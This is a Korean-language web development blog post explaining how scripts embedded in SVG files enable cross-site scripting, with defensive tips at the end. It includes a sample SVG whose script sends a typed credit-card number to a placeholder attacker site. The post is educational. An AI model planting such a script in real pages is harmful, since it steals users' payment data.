SVG가 위험한 이유 👿

6012 단어 svgwebdevjavascript
SVG(Scalable Vector Graphics)는 이미지를 수학 공식으로 설명하는 XML 문서입니다. 이 때문에 이러한 수식을 사용하여 브라우저에서 그린 이미지는 어떤 크기에서도 품질이 떨어지지 않습니다.

다음은 녹색 원을 설명하는 간단한 SVG 문서의 내용입니다.

<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>


시각적으로 어떻게 보이는지:


SVG는 확장성, 상호 작용성, 편집 가능성 및 작은 파일 크기와 같은 래스터 기반 이미지 형식에 비해 특정 이점을 제공하지만 SVG가 악의적으로 사용될 수 있는 방법이 있습니다. 👿

SVG는 HTML 문서와 마찬가지로 자체 DOM(문서 개체 모델)을 가지고 있기 때문에 대화형 문서로 작동할 수 있습니다. 어떻게? 간단합니다. 누구나 JavaScript를 사용할 수 있습니다.

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('I can do evil things...');</script>
  <circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>


브라우저에서 이 SVG 문서를 열면 JavaScript가 즉시 실행되는 것을 볼 수 있습니다. 경고는 원을 렌더링하는 브라우저의 실행도 차단합니다.


SVG 내부에 JS를 추가하는 것이 본질적으로 위험한 것은 아니지만 어떻게 악용될 수 있는지 아는 것이 중요합니다.

이 시나리오를 고려하십시오. 포럼을 사용하면 모든 사용자가 SVG 형식으로 프로필 사진을 업로드할 수 있습니다. 해커는 쿠키/스토리지 정보를 검색하는 스크립트를 추가하고 검색된 데이터가 포함된 쿼리 매개변수를 사용하여 브라우저가 자신의 서버로 리디렉션하도록 할 수 있습니다. 이 SVG 프로필 사진이 사이트에 포함되어 있고 누군가가 본다면 사용자가 무슨 일이 일어났는지 깨닫기도 전에 해당 악성 스크립트가 실행됩니다. 이러한 공격은 XSS(Cross-Site Scripting)의 한 형태이며 악용 가능성은 무궁무진합니다.

<h3>Enter Your Payment Info</h3>
<input id="credit-card">

<div class="customer-pic">
  <svg xmlns="http://www.w3.org/2000/svg">
    <script>
      const evilSite = 'http://www.an-evil-site.com';
      const ccInput = document.querySelector('#credit-card');
      ccInput.onchange = () => {
        window.location.href = `${evilSite}?cc=${ccInput.value}`;
      }; 
    </script>
    <circle cx="40" cy="40" r="24"></circle>
  </svg>
</div>


여기서 멈추고 중요한 질문을 해결해 보겠습니다. SVG가 이미지 태그 또는 CSS 배경 이미지 소스로 구현될 때 브라우저는 SVG 내부에 포함된 JavaScript를 실행하지 않습니다. 따라서 다음 구현은 안전합니다.

<img src="./circle.svg">



div {
  background-image: url("./circle.svg");
}


그러나 이러한 트로이 목마 SVG가 직접 포함되거나 iframe과 함께 추가되면 나쁜 일이 발생할 수 있습니다. 🚨

그렇다면 이러한 악의적인 악용으로부터 보호할 수 있는 방법은 무엇입니까?

  • 신뢰할 수 없는 출처에서 SVG 업로드를 허용하지 마십시오.
  • XSS로부터 보호하기 위해 CSP(콘텐츠 보안 정책)를 고려하십시오.
  • 중요한 데이터를 클라이언트 측에 저장하지 마십시오.
  • 보안 프레임을 사용하여 중요한 클라이언트 입력을 캡처합니다.




  • 내 블로그jsbits-yo.com에서 더 많은 #JSBits를 확인하십시오. 또는 나를 따르라!

    좋은 웹페이지 즐겨찾기